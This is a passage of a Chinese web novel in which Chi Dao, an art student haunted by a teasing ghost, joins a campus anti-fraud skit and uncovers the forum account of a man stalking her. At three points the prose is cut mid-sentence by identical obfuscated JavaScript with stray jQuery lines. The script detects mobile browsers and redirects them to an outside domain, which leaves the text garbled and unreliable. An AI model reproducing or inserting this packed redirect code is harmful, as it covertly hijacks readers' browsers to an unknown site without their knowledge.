迟岛站起来摇摇头:“对不起老师,是我的问题。”
对方这么乖巧的道歉她也不好再说什么:“行了行了,坐下认真听课。”
迟岛坐下后,容柔柔立马一脸八卦的凑上来:“你昨晚做贼去了?”
她楞了愣,困倦的耷拉着眼皮,翻开面前的书:“看恐怖片。”
“看恐怖片?你自己?”
迟岛撑着头一点一点的,很明显困的不行,容柔柔叹口气转过身坐好,觉得这人可能根本就没听见自己的话。
迟岛却突然出声,声音听起来有些轻:“不是,说出来怕吓死你。”和鬼一起。
10. 靠近
“怕吓死我?什么啊?”容柔柔一头雾水,自己思索一阵子也没想明白什么意思。
但奈何心下又实在好奇,余光观察着正在讲课的老师,悄悄往迟岛那边挪挪椅子。
笔帽戳了戳她的肩膀:“喂?到底什么?告诉我啊。”
等了约摸半分钟没都等来对方的回话,她呼吸声倒是越来越平稳,诧异地侧过头一看,好家伙……
迟岛撑着脸,逆着光,散落的发丝刚好挡住老师的视线,都不知道睡着多久了……
容柔柔默默将椅子挪回自己的位置,从抽屉里迅速撕了一块面包塞进嘴巴里。
心里吐槽:真行,这都能睡着。
一抬头,正好对上老师天使般的微笑:“来,迟岛同学旁边那位,腮帮子鼓鼓的同学回答一下这个问题吧。”
容柔柔下意识看了眼迟岛,她另一边没人啊,所以真的是在叫她吧!
容柔柔唯唯诺诺地站起身,可嘴里塞得满满当当说不出一句话:“……”
余光求助地看向旁边的迟岛,然后彻底僵在原地,这家伙居然还没醒!
她眼睛依旧闭着,身后的发丝被阳光照成橘黄色,呼吸平稳,对发生的一切一无所知。
关键时候就是指望不上,自知没救,容柔柔抿着唇回过头看回老师。
老师手撑着讲台等着容柔柔嚼完,笑着调侃:“真行啊,这都能吃上饭。”
试图反驳又张不开嘴,羞得低下头恨不得找条缝钻,余光瞥到睡得正香的迟岛,心里犯上委屈,超级不满:你说她啊!这家伙又睡着了。
“所以你被扣平常分了?”下课后,迟岛和容柔柔在走廊并排走着,抓抓额前睡乱的头发,打个了哈欠问道。
容柔柔横她一眼,提高音量:“没有!都没罚你哎,就不能盼着我点好?”
听到没什么事,迟岛扒拉开容柔柔挽她的手,揉揉眼睛:“没事你卖什么惨。”
“哈?我卖惨?”容柔柔瞳孔瞪大,简直不可思议,转过身站在迟岛面前倒着走。
手指着迟岛都快挨上她的鼻尖:“哪里卖惨了,根本没有卖惨。”
迟岛却只是若无其事地偏过头,打了个哈欠压根没有在听,心不在焉地想:
好像自从住进去以后,就再也没梦到过那只鬼了,最近睡得都格外的好。
除了昨天晚上……
等哈欠打完,这才看清楚容柔柔身后的路,表情骤然一僵,连忙拉住容柔柔的手腕:“小心!”
“哎哟!”但还是晚了几秒。
容柔柔和身后低头翻看文件的辅导员撞在一起。
容柔柔被她拽住倒也没什么事,扶着摇摇晃晃的容柔柔帮她站好,便急忙蹲下身帮导员捡起掉在地上的文件夹。
拍拍上面的灰递过去道歉:“抱歉导员,您没事吧?”
迟岛拉得及时,辅导员也只是被撞一下没有摔倒,只是手上一松的文件夹掉到地上。
容柔柔立马走到跟前道歉,低着头声音有些小,满脸歉意:“对不起导员,你没事吧。”
辅导员扶扶眼镜,恨铁不成钢地看向容柔柔:“你呀,小心点,走廊怎么能倒着走不看路呢?像这样撞到人怎么办?”
见容柔柔低着头都一一应下,辅导员才满意地点点头,转过身接过迟岛手里的文件夹,朝她笑笑:“谢谢啊迟岛同学。”
翻看检查里面的文件,动作一顿,像是想起了什么。
转头叫住正要走的迟岛:“哎迟岛,你等一下。”
容柔柔正嚷嚷着自己怎么这么倒霉,迟岛拍掉她搭在自己肩膀上的手,这才转过身,脸上挂着恰到好处的笑:“怎么了导员?”
辅导员蹙眉摸着下巴,看着手里的文件思考:“我记得你好像是艺术系的。”
“嗯,是。”迟岛点头答应。
“哎,那正好,你下去和她们拍短剧吧。”辅导员合上文件夹,走到迟岛面前欣慰地拍拍她的肩膀。
拍……短剧?
迟岛懵了,困倦的眸子睁大,清醒过来,愣了一下向辅导员解释:“导员我是美术生。”
后面的侧着耳朵偷听的容柔柔也凑过来添乱:“就是就是,她怎么演?一整天下来表情基本都没怎么变过。”
迟岛:“……”深呼一口气转过头,朝容柔柔扬起“甜甜的”微笑。
平常总是冷着脸的少女笑起来会挤出旁边的酒窝,很好看,像极了夏末吹过的风,清凉带着甜味,如果忽略她眼底的威胁意味的话……
敏锐察觉到危险,容柔柔顿了一下试图把前面的话圆回来:
“但,但是我觉得她非常有演戏的天赋,看看这脸,不去演戏简直就是在浪费人才。”结巴两下,开始一本正经地胡说八道。
辅导员先是看着迟岛赞同地点点头:“确实。”
回过神,愣了一下紧接着微笑解释:“我知道迟岛是美术生,就是去帮他们弄弄背景和道具什么的。”
“可是……”迟岛垂眼抿下嘴唇,她其实不想去,平常就够忙了,还要忙着接稿赚钱,根本没有太多空余时间。
看出她的意思,辅导员叹口气走到她面前,拍了拍她的肩膀,压低声音:“加学分的。”
迟岛眼底稍微松动,还是有些犹豫:“但是……”
辅导员唇边的笑容大了些,这次声音压得更低:“是个比赛,拿到名次还有奖金。”
“咳咳咳。”掩饰情绪的咳嗽出声,所以奖金加学分,这种诱惑,对于穷鬼加大学生来说真的毫无抵抗力。
“这样怎么样?”辅导员后退几步,一切尽在掌握的抱胸挑眉。
迟岛抬头时已经重新挂上乖巧的微笑,微微欠身:“谢谢导员给我锻炼的机会,我会努力的。”
一想到钱和学分,迟岛嘴角又上扬一点弧度,谁会和这两位过不去?
站在一边,根本没有听到悄悄话的容柔柔,眼睁睁看着迟岛态度一百八十度大转弯:“哈?”
告别导员后,迟岛和容柔柔分开,独自去了导员所说的教室。
站在教室门前,迟岛平静的垂眸敲门。
“来啦,来啦。”
面前门打开,探出头的是一个烫着小卷毛的阳光男生。
他视线上移,看见门口的迟岛立刻扬起一个灿烂的笑,侧过身子让开条路:“你就是艺术系的迟岛吧?”
迟岛紧绷的神经稍稍放松,松开攥起的手。
虽然诧异对方竟然认识自己,但还是礼貌地朝他点点头:“嗯,你好。”
对方却倒是像是不好意思一样摸摸脖子:“你好你好,快进来吧。”
迟岛点头侧身经过门框走进教室,然后定在原地。
教室里拉上了帘子,搞出了昏暗的严肃氛围,里面已经零零散散地坐着几个学生,也都双手交叉一脸严肃。
默默猜测:短剧拍的是悬疑片吗?
看到迟岛进来,营造出来的气氛碎了一地:
“哎,你就是迟岛吧?”
“你好哦,真人好好看,平时都没怎么在学校见过你呢。”
迟岛对现在的情况摸不着头脑,对没由来的热情也不知道怎么应对。
是刚见面的男生拉开一张椅子拍拍靠背,向她笑笑:“先坐下说。”
接着是自己的介绍:“我叫姜元,学生会的,是我们这次短剧的监制。”
“嗯。”迟岛点头表示知道了,坐下后想了想,看向其他人介绍一遍自己:“你们好,我是艺术系的迟岛。”
旁边的扎马尾的女生朝她这边凑凑:“嘿嘿,我知道你,很有名的。”
迟岛疑问地看向她:“什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724069|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好像都认识她的样子,奇怪。
女生往后一仰回想着什么:“嗯……其实也没啥,就是大二开学时你的一组照片在论坛上小爆了一下,我是新闻专业的哈哈,就认识你了。”
其实小爆有点说小了,当时她一张穿着防晒衣,抬手挡太阳,眉头微微蹙起的照片,直接火到了短视频平台。
迟岛眉头微蹙,低下头掩饰心里冒上来的反感。
长直发遮住脸上的表情,指尖不自觉地摩挲明黄色外套的袖子。
莫名地觉得被冒犯到,而且是那股熟悉又黏腻的感觉……总之让人不爽。
似乎察觉到了迟岛的不对劲,女生笑着岔开话题:“哎,都忘了说,我叫乔黎,很高兴认识你哦。”
她笑着向迟岛伸出手。
“嗯,你好。”迟岛犹豫片刻,轻轻握回去。
“好了好了!不许聊了啊,现在人齐了,我们先来讲讲这次的剧本。”姜元站上讲台敲敲黑板。
“剧本的名字就叫做……”
“预防诈骗之灰姑娘版?”
客厅里,迟岛趴在茶几上制作演出要用的道具,悬空卷起来的剧本,有一下没一下地敲着茶几。
看不见的恶鬼,嗤笑一声调侃着念出上面的剧名,把手上的剧本随意扔回茶几,语气极为不屑:
“啧,哪个人才想的?王子的舞会原来在缅甸,试穿水晶鞋找人是在套个人信息,灰姑娘就是那个被骗的倒霉蛋?”
迟岛听见了但懒得搭理他,而且这个剧本确实离谱的不像话,头一次这么赞同这只鬼。
甚至还不如悬疑剧。
但剧本砸到道具旁边的颜料盒,迟岛手上力道一偏,笔刷在水晶鞋道具上滑出界。
愣住,握着笔刷的指节泛白,垂眸扶住额头,不得不理他:“你就没自己的事做吗?”
很明显的嫌他烦,赶他走。
窗外月亮升到树梢,枝桠借着微风,一下一下地敲打着玻璃窗。
小飞虫围着顶灯打转,时不时投下一点阴影。
听出迟岛的意思,所以这个问题,对面直接干脆装作没听到。
他尾音愉悦地上扬,丝毫没自觉地继续烦人:“你演这个倒霉蛋?”
同样的,并不算陌生的寒意向迟岛凑近,跟着扑面而来的,还有……摆在家里的香薰味。
迟岛神情微动,若无其事地垂头,将手上带颜料的笔刷丢进水桶。
多种颜料混在一起,浑浊的水面泛起涟漪。
普鲁旺斯薰衣草,她卧室里的味道,每次都闻着这种味道睡觉,当然熟悉得不能再熟悉。
迟岛指尖微动,觉得有些不自在。
略微偏甜的味道不适合男生,更不适合恶鬼,所以有些诡异的违和感。
她突然发觉,现在的空气可能有些太燥了,夜晚又太安静,这个看不见的神经病染上熟悉的味道,像风有了形状。
查看着画出界的颜色,试试能不能挽救一下,并没注意到明黄色的外套袖口,悄悄沾上了未干的深蓝色颜料。
本该在角落的画面恰逢其时冒出来,黑发少年的头发有些长,堪堪盖住眼睛,眼尾的红痣……
这时,许久没得到回应对方,敲敲茶几上的玻璃杯,自作主张地下了结论:“真的啊,会演戏吗?教教你?”
被玻璃的敲击声拉回思绪,迟岛闭上眼深呼一口气,触电般地收回手,往另一边挪挪离他远了些。
对对对,就你最会演戏了。
迟岛是真的很讨厌这种不受控制的情况。
想不清自己现在心里的感觉,所以理所当然地,把全部火气都撒在罪魁祸首身上。
她眉头紧蹙,转过头看向旁边空着的沙发,咬牙切齿:“啧,离我远点。”
这神经病到底知不知道!这样真的很烦人。
11. 他越界了
当然没等到对方再说些欠嗖嗖的话,甚至都没有给他说话的机会。
只是轻飘飘地瞥向沙发处,腾一下站起身,弯下腰快速地收拾着茶几上的东西。
被搞砸的道具,颜料,水桶,还有……剧本。
剧本呢?
东西太多,迟岛怀里抱得满满当当,特意空出一手来拿剧本,但琥珀色的眼睛在茶几上转了一圈都没有找到。
“在找这个?”迟岛闻声抬头。
“哗啦!”
在琥珀色瞳孔的倒影中,订在一起的剧本被抛向空中,几乎要散架变回一张张轻飘飘的纸。
迟岛倒吸一口气,来不及反应,遵循着本能下意识伸手去接。
在剧本急转直下,就在即将掉进迟岛摊开的手心的刹那。
眼见只差几厘米的距离,剧本却骤然停止下坠,稳稳地悬在半空。
“跑什么?现在知道害怕鬼了?”剧本在空中翻了面,虽然说话依旧懒散,但却能明显听出他的不悦。
迟岛半空中的手一僵,面无表情地放下手。
她静静抱着怀里的东西站在原地,窗外的风刮得猛烈,之前只是轻轻敲着窗户的枝桠,再划过玻璃时发出刺耳的“吱呀”声。
良久,才说话打破这份诡异的安静。
“回屋了,别跟过来。”
清冷的女声响彻在仅有一人的客厅,更添荒诞。
随着卧室门“咔哒”一声上锁,无人的客厅失去灯光,甚至没有了呼吸声。
“哈。”一声刻意压低轻笑,带着嘲讽意味的突兀响起,却莫名带着矛盾的落寞。
——
关上门,迟岛背过身后退一步倚上门板,垂下头时两侧的发丝遮住她眼底的情绪。
没有开灯的卧室里,只有书桌旁的窗户里拥有光亮。
半响,迟岛终于动了,她走向书桌放下手里的东西,又返回去“咔哒”一声锁上了房门。
指腹慢半拍地滑过微凉的锁孔,几秒后,脚尖方向一转,书桌上的台灯亮起。
为什么不开心?是因为觉得他越界了吗?
眼神没有焦点,手上出神般将画出界的部分涂满蓝色,涂着涂着,固定道具的指尖也被涂上了色彩。
……面上依旧波澜不惊地移开画笔。
看着手上的蓝色颜料,微不可察地缓缓吐出一口气。
泄力般地往后一仰靠上椅背,抬手捂住眼睛。
神经病,做鬼这么闲……
哦,都死了,能不闲吗?
四周又重新回归了寂静,迟岛嗤笑一声,觉得她的脑回路都被带偏了,最近总想这些离谱问题。
“叮咚”一条弹出的消息把她拉回现实。
没有坐直,甚至眼睛都懒得睁开,瘫在椅子上犹如一滩液体,伸手捞过手机,这才眯起一只眼查看。
是乔黎发的消息:
迟岛同学,我是乔梨。抱歉,这么晚打扰,但因为觉得你好像对照片的事有些苦恼,我可以把帖子发给你,介意的话你可以联系他删一下。
照片?看到后面的迟岛腰杆渐渐挺直,表情逐渐严肃起来。
是他们说的那个什么论坛?
没来得及细想,乔黎后面就紧接着发过来一条链接,并附文:这个。
迟岛睫毛低垂,指尖悬在键盘上,犹豫半响才敲下两个字发送:谢谢。
点开链接的手顿了顿,最后还是点了下去。
界面缓冲几秒后,映入眼帘的是一张照片:
骄阳烈日下,树荫下的少女微微仰头,抬手挡住刺眼的阳光,脸上表情很是冷淡,像块捂不化的冰。
但微微蹙起的眉头又让她拥有了生气,不再遥不可及。
手上挂着水珠的矿泉水,透色的防晒衣,高马尾……又无不例外都彰显着夏天。
整张照片都充满着矛盾感,但又融洽得刚好。
只是……迟岛抿起嘴唇,攥着手机的指节开始泛白,又唇角微勾笑出声。
哈,熟悉的构图,刻意框进些许周围环境的习惯,都和之前那个变态发过来的……
那张在画室睡觉时被偷拍的照片,一摸一样……
所以,这个就是那个人……总是跟在她身后,却胆小怯懦的,不敢出声和露面的恶心老鼠。
恍然大悟,怪不得第一次听到论坛的照片时会莫名反感。
迟岛把手机被扔回书桌,“啪嗒”弄倒了搁置在书本上的一小碗水,水渍在纸上慢开。
迟岛却没有管,指尖一下一下敲着桌面。
这就是直觉,这么恶心的人碰到一次就能记住,长点记性,避免遇到第二次。
手机屏幕还没有熄灭,停留的界面是帖子里的楼主评论:哈哈哈,给你们看看我女朋友。
跳梁小丑似的话,恶臭味透过文字和屏幕渗透出来,下水道里自娱自乐的老鼠。
下面的回复无一不是:
楼主好幸福,女朋友好漂亮。
幸福upup,祝99。
……多讽刺?恶心的跟踪狂和毫不知情的受害者。
视线不经意瞥到这里的迟岛嗤笑出声,晃晃脑袋,又没骨头似地重新倒回椅背。
世界上到底哪来的这么多神经病?
虽然面上嘲讽的笑假得不能再假,但心里却真真切切地开心了一小下。
抓住他的老鼠尾巴了。
有了这个账号就能查清楚他到底是谁,就能……
收起脸上浮于表面的笑,迟岛眼底深藏的恨意一闪而过,就能搞死他。
之后的几天里,迟岛先是联系了论坛管理员,询问帖子的事,并联系删除,然后把事情经过告诉了辅导员。
站在办公室门口,低头犹豫了片刻,敲响了房门。
然后……挨训。
办公室内,其实周围的老师都差不多下班了,但辅导员还是压低了声音,皱着眉头训话:
“你说说,这么严重的事情就应该早点跟老师说,多厉害?啊?还要自己扛,知不知道这件事到底有多危险?”
迟岛低着头,看似乖乖听着,实际上压根没有往心里去。
“万一!万一……”后面的话导员停顿片刻,到底是没有说出口,最后像是妥帖的叹口气:“哎,你就光让我担心着急吧,真不省心。”
担心?迟岛抬眼怔怔的愣在原地。
少女穿着白色的薄纱外套,双手背后,看似安安静静的在办公桌前听老师讲话,直到只有听到这一句时,她才第一次抬头。
“啧,又走神。”看出迟岛的心不在焉,辅导员提高了音量,重重拍了拍桌面:“我刚才说什么了?以后遇到这种类似的情况要不要和老师说?”
根本没有听清方才的话,迟岛反应了一阵后,才在辅导员炙热的眼神下呆愣愣地点点头。
能看出来对方的神游,导员缓缓探出一口气,摆摆手:“记住就好,回去吧,那事交给大人处理。”
走出办公室的门,迟岛甚至忘记了自己是先迈的哪只脚,
她不自觉地摩挲着衣摆,觉得胸口有闷。
来找导员,仅仅是因为需要走这个步骤,才能逮住他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724070|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>如果不是因为发现了他暴露身份的蛛丝马迹,被尾随这件事,可能等到她毕业也不会告诉任何人。
手指不自然地收紧又松开。
啧,矫情什么。
“叮咚。”被猝然响起的消息提示音打断思绪。
姜元:迟岛同学,麻烦来一下礼堂这边,我们要准备彩排了。
迟岛:嗯。
礼堂内,舞台搭得稍显简陋,背景就是一块落灰的大红布,但扮演王子的那位明显已经沉溺在自己的表演里了。
他“刷”的甩开斗篷,一脚踩上了道具石头,向空中张开手:“啊!我美丽的新娘,你究竟在哪里,找不到你的每个夜晚我都不能入睡。”
演得格外夸张,甚至拼命眨眼挤出来一滴眼泪……
“好!演得太好了,就是这样,保持住这种状态。”不远处的姜元把剧本卷成圆筒状,放在嘴边当喇叭用。
坐在台下的迟岛狐疑地看向台上的“王子”,然后沉默着看回姜元:……你认真的?
“王子”擦干眼泪,召唤自己的侍卫:“快,把新娘的水晶鞋呈上来,我要让全王国的姑娘都试穿,直到找到她。”
后面的场景就是“王子”挨家挨户地找美丽的姑娘试穿水晶鞋。
“咳咳。”提示的咳嗽声后,台上的众人维持着原来的动作没有再动。
旁白卡着时间,毫无情绪起伏地念出剧本上的白底黑字的话:
“各位同学,请保护好个人隐私,相信天上不会馅饼,警惕,每个光鲜亮丽的王子都可能是心之人假扮的。”
“咔!大家先休息一下”
说完,姜元又转过身看向迟岛叹了口气:“迟岛同学,咱们能念得富有感情一点吗?声情并茂,要带动起大家的情绪。”
迟岛缓缓放下手里的剧本:“……”神一样声情并茂。
面上无动于衷地点点头,敷衍着:“哦,下次注意。”非常的不走心。
姜元难为情地挠挠自己的小卷毛,试探着说:“……要不?咱换个别的演?”
见迟岛没说话,他愣了一下又赶紧摆手,疯狂找补:
“这不是,不是说你旁白念的不好的意思啊迟岛同学,就是每个人擅长的领域的不一样你知道吧,所以绝对没有说不好的意思。”
迟岛看着面前人急忙解释的样子,眸子里带上疑惑。有点不理解,不行就换掉,让有能力的上,这有什么好解释的。
但看他貌似比较在意的样子,淡淡地垂眸翻着手里的剧本,想着应付着宽慰几句:“没事,我……”
话没有说完,是因为冰凉的吐息贴上她的耳畔,发丝被微微吹起,脖颈处的皮肤骤然变凉,不自主地战栗。
恶鬼笑着压低声音,亲昵地像说悄悄话一般,还装模作样地叹口气:“哎,别信他。”
看热闹不嫌事大地继续拱火:“他就是那个意思。”
贺究忽然出声的瞬间,迟岛确实被吓了一跳,之后心里就只剩下了无语,把椅子往旁边挪了挪。
物理程度上远离他。
不信他信你?突然出声吓人,你就是什么好人?
没搭理他,懒得理,甚至一个眼神都没有给,从那晚到现在。
两天,没有再和他说过一句话,就当听不到他说话。
贺究顿了顿,又从鼻腔溢出一声低笑:“所以啊……”
冻死人的凉意又锲而不舍的凑上前,似乎是搭上了她的一边肩膀,迟岛衣领上细微的褶皱被轻轻抚平。
恶鬼做回老本行,放慢了语速挑拨离间:“别跟他玩了——”
12. 闹什么别扭
啊?什么鬼?
迟岛嘴角一抽,合上手里的剧本,又往旁边挪了挪椅子,心里的嫌弃差点直接写到脸上。
又再犯神经,什么叫别跟他玩了?把自己当小朋友?
正想直接嘲讽过去,扭过头话到嘴边又咽了回去,冷漠地把头扭回来。
啧,搭理他干嘛,整这出不就是在刷存在感?
闭上眼低头吐出一口气,然后头转向另一边看向姜元,她偏偏就装听不到,不搭理他就没话说了。
“哎,迟岛,你没事吧?”姜元试探着问出声。
在姜元的视角里,迟岛先是说话时莫名顿住,又垂头貌似沮丧地叹口气,还……把椅子往他这边挪了挪……
姜元的发丝下的耳根微红,手上无意识地扣着剧本的边缘。
迟岛疑惑蹙眉:“什么?”这人说话怎么这么费劲,跟挤牙膏似的。
触及到迟岛的视线,姜元慌忙地错开眼睛,想起刚才的话急忙解释:“其实你旁白读得也挺好的迟岛同学,嗯……”
又费劲地说出几个优点:“语气平缓,情绪……稳定,你不用伤心,就这样就挺好的。”
平时阳光开朗,组织起大家来都侃侃而谈的男生,现在眼神闪躲,话说到后面越来越肉眼可见的心虚。
迟岛一脸狐疑,震惊于这突如其来的转变:……刚不是还说不好的吗?而且到底在心虚什么?
“他昧着良心夸你当然心虚啊,当然,我反正觉得你读挺好的,睡前听刚好。”
表面上听起来就是在拉踩对方,但仔细回想一下又发现,这是连迟岛一起说了……既要又要。
迟岛的眼皮突突地跳,心里无语地几近想笑,嘲讽她读的台词昏昏欲睡就算了,毕竟他一个鬼又不会真的睡着。
所以让她真正生气的是……这混蛋特么又又又凑过来!
寒意带着潮气和她所熟悉的香薰味,进一步将迟岛裹挟在自己的范围里。
刻意压低声音,为了显得可怜巴巴:“他看起来就不像什么好人,离他远点吧。”
可不自觉扬起的尾音露了馅,嘴上说着弱势的话,一次次包裹住她的冷气又像狗皮膏药一样甩不掉。
啧,迟岛深呼一口气忽然站起身,弯腰拿起椅子上的剧本,脸上依旧没什么表情:“姜同学安排吧,我演什么都行,并没有不开心。”
朝姜元摆摆手,转身走向靠近角落里的那把椅子。
场地布置得仓促,随便放下的椅子也很没有章法。迟岛顺手将椅子摆正,完事后拍拍手,自己拉过椅子坐在了最角落里。
姜元的视线跟随着迟岛移动,直到对方坐下后才黯然收回目光。
手上的那一页剧本,几乎被揉的看不清上面的字。
她怎么突然离开了……是不是说错什么话了。
但其实……说错话的另有其人。
“哎姜元,我们都休息得差不多了,咱们再彩排一遍?”穿着戏服的“王子”喊着朝姜元挥挥手。
姜元回过神来,重新坐直身板恢复往常的状态:“好,我们再来一遍,大家现在都先站到自己的位置上。”
——
迟岛懒散地缩在椅子里,目不转睛地看着他们表演。
“叮咚,伴随着凌晨十二点的钟声敲响,即便两人跳得依旧未能尽兴,但灰姑娘知道,她该回去了……”
这次的旁白换成了一个扎着双马尾的女孩,她声音很温柔,会随着故事的发展变换语气,如同叮叮咚咚的小溪流水。
如果说迟岛的旁白像是在听数学课,那么这个就像是在听睡前故事一般。
共同点就是……都很好睡,迟岛眼前的画面渐渐模糊,脑袋越来越沉,头一倒马上挨上旁边的墙睡过去。
“这里请同学们注意!像这种大型活动鱼龙混杂,一定要注意分辨,保护好自己安全和贴身财务……”
嗯!猝不及防提高的音量和一本正经的诈骗知识科普,把迟岛吓得直接眼睛睁开,猛然坐起身。
然后沉默,到底是谁觉得这是一份好差事来着?憋笑憋出的内伤难道不算工伤吗?
很明显台上拿着剧本念旁白的女生拼命压抑着笑,感觉马上就能拿到这份工伤补偿了。
她旁边的男女主上演着生死离别,一把鼻涕一把泪,依依不舍演得很真,要不下次别演了。
毕竟鼻涕快蹭戏服上了。
迟岛就这么静静坐着,面无表情地托着腮,在心里毫不留情的把主演,台词都锐评了个遍。
“好!这一遍简直太好了,保持好这个情绪!很有感染力。”
慢悠悠地转过头看向大声赞美的姜元,哦,差点忘了写这么离谱剧本的导演。
“我觉得这没你演得好。”阴魂不散的鬼放慢声音,像是俯下身。
迟岛被抚平的衣领处被重新攥出褶子,尾音勾着笑意:“还是你演得好一点。”
迟岛感觉着脖颈处的动静,微微侧过头。
又来了,每次都说得和真的一样,这鬼确实很会演啊,怪不得之前还想教别人。
迟岛无动于衷地往另一边偏过头,在心底翻了个白眼,虽然一样离谱的台词,但只要耳朵的都能听出来明显是人家更好。
这怎么比以前更讨人厌了,迟岛蹙起眉头,离开椅背靠上另一侧的墙,被烦得烦不胜烦。
可……这次听起来好像不单单只是嘲讽挑衅这么简单。
迟岛瞥了一眼旁边的空气又迅速收回视线,他现在更像是……被刻意装作看不见的小屁孩,用幼稚到恶劣的方式吸引人的目光。
嗯!猛然意识到自己才想什么,迟岛瞳孔微微瞪大,猛地低下头掩饰。
到底在想些什么啊!疯了吧。
她胡乱摇摇脑袋,试图把乱七八槽的东西全部清走。
难道一个恶趣味的神经病恶鬼,还能用逻辑来解释他荒谬的一举一动吗?
“迟岛同学。”
嗯?听到身后有人叫自己,迟岛心累地吐出一口气,暂且放下理不清的纠结,回过头。
只见乔黎弯腰握着椅背,手里拿着剧本凑到迟岛身边,见她转头便朝着她笑笑。
迟岛不动声色地拉开些距离,拍拍身旁的椅子示意她坐下:“嗯,找我有什么事吗?”
女生将头发挽到耳后,往前走两步,俯身拉过椅子。
这个位置……迟岛盯着乔黎走过来的位置晃了下神,如果他看得见的话,刚才是不是就站在这里来着?
但身边的寒意,不知道什么时候已经悄然消失了。
迟岛顿住,嗤笑一声瘫回椅背,觉得自己最近是不是真的太闲了。
想他干嘛?灰飞烟灭了才好,以后就再也不用见到那个神经病了……
坐下的乔黎又把椅子向迟岛拉了拉:“是这样,我是负责人物走位和台词的,刚才我和姜元商量了一下,决定给你安排一个别的角色。”
迟岛:……哦,原来那些角色的精彩台词是这一位神人写的。
不由抬起头,看向台子上的主演。
“王子”单膝跪地:“幸德瑞拉你要相信我,我会给你一个美好的未来!”
“幸德瑞拉”拿手帕擦拭着眼角的泪,后退一步捂紧自己的钱包:“不!他们说你是骗子。”
见迟岛看回舞台,乔黎拍拍她的肩膀,满意地介绍:“怎么样?我们这次比赛的主题是提高防诈意识,这是不是写挺好的?”
迟岛沉默良久,这次罕见地没说出什么伤人的话:“……嗯,挺好的。”
但不代表……她面无表情地看向乔黎:“但我觉得我负责好布景就好了,你还是去找其他人吧。”
乔黎:……其实有时候这样说,比直接说糟糕要伤人多了。
而在这一方面迟岛已经天赋异禀了……
乔黎嘴角的弧度扬起,明显没有放在心上,她自己当然也知道离谱,只是跟这位看起来一直都清清冷冷的同学开个小玩笑。
毕竟,看着她绞尽脑汁地说出些尽量不伤人的话,真的很有意思啊。
乔黎咳嗽两声故作正经:“咳咳,那个角色没有台词。”
迟岛犹豫:“但……”
“也不需要在台上跑来跑去,没有一点运动量。”
迟岛挑眉,听起来倒也不错?
乔黎再继续乘胜追击,晃着迟岛的胳膊:“求你了~”
照片的事乔黎到底算是帮了她,再说这样的角色,再离谱能离谱到哪去?
这么想着,迟岛叹口气妥协:“那好吧。”
——
然后,她后悔了。
热闹的舞台旁,少女静静看着拿在手上的大树套装,眉头紧蹙,满脸嫌弃。
一时间无语的沉默和舞台的欢笑形成对比,衬得迟岛那边更悲惨了。
迟岛叹口气,嫌弃的单手拎着衣服转身走向洗手间。
怪来怪去,只能怪当初那个不知所谓的自己。
洗手间离着礼堂大厅有一段走廊的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724071|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
距离,墙上繁琐的花纹,窗户建得很高,前方的路也一眼望不到头。
庄重,沉闷且压抑,但光束却格外偏爱她,它穿过高高的玻璃窗,直直照在前进的少女身上。
脸上的轮廓被照得柔和,冷冰冰的气质被褪去不少。
迟岛简单扎了个侧丸子,身上是一件白色短袖配阔腿裤,很普通的穿搭,她却在腰间系了条亮黄色花纹的丝巾。
整体就变得亮眼,吸睛。
“哒哒哒。”太阳好好的悬着,少女身后影子却逐渐拉长,治愈的画面透着诡异,成了沉寂走廊里焦点般的存在。
“咔哒。”从洗手间出来关上门,迟岛却没立刻走,垂眸停在原地烦躁地扯了扯脖子处的领子。
衣领处有点勒脖子,穿上后走路也束手束脚的。
表演服就是一块棕色的布对着一缝,中间掏个洞就是树干,再往顶上缝点绿色的碎布就是树叶……
迟岛对着门叹口气,穿成这样是真的不想出去见人。
“喂!”一声没头没尾,还带着高高在上的意味。
迟岛身体一僵,手上的动作顿住,眼里的情绪渐冷。
“喂,叫你呢没听见吗?”不知道地听起来像是在叫狗。
贴墙站着的人,染了一头黄毛,跟没有脊梁骨似地倚在墙上,嘴里叼着跟烟,斜着眼睛瞥迟岛,整个人嚣张到极点。
迟岛睫毛低垂看不清脸上的情绪,但只看她泛白的指节还微微颤抖着,也能感觉到她心里的怒气隐隐到了极点。
偏偏那人还继续火上浇油,似乎是早就刻意等在这里,那人慢悠悠扔掉几乎要烧到手指的烟头。
是一起表演的同学?迟岛记不住人脸,还没等记起他来。
那人便插着裤子口袋,流里流气地走到迟岛面前,“呼”地一下在她脸上吐出一口烟。
“咳咳咳。”迟岛后退一步,“咔哒”一声抵上洗手间的门,被烟呛得咳嗽出声。
“哈啊,就这点能耐啊。”他刚张开嘴,长年抽烟积累的恶臭味就扑面而来。
